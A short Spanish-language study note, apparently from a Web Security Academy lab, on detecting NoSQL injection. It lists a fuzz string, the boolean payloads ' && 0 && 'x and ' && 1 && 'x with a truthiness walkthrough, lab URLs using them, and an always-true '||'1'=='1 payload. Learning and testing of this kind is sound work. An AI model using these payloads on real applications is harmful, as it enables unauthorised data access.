1 - Detecting NoSQL injection
Para detectar un error enviamos una fuzz string :
'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
'"`{
;$Foo}
$Foo \xYZ
'\"`{\r;$Foo}\n$Foo \\xYZ\u0000
🔍 ¿Qué significa ' && 0 && 'x?
Esto es una inyección lógica que se traduce así en lógica booleana:
'+%26%26+0+%26%26+'x
'string' && 0 && 'x'
Evaluación paso a paso:
-
'string'es true en JavaScript. -
true && 0= 0 → que es falso. -
0 && 'x'= sigue siendo 0 (falso).
Entonces, la condición es falsa y debería impedir que los datos se devuelvan (dependiendo de cómo se use la condición en la consulta).
✅ ¿Y qué hace ' && 1 && 'x?
Evaluamos:
'+%26%26+1+%26%26+'x
'string' && 1 && 'x'
-
'string'→ true -
true && 1= 1 (truthy) -
1 && 'x'= 'x' (truthy)
Así que el resultado es truthy y la condición permite que la consulta continúe.
No carga
https://0a8e00a703d8592681e1a24100fe00ab.web-security-academy.net/filter?category=LifeStyle%27+%26%26+0+%26%26+%27x
Carga
https://0a8e00a703d8592681e1a24100fe00ab.web-security-academy.net/filter?category=Lifestyle%27+%26%26+1+%26%26+%27x
or 1=1 -- - version nosql :
'||'1'=='1
%27%7c%7c%27%31%27%3d%3d%27%31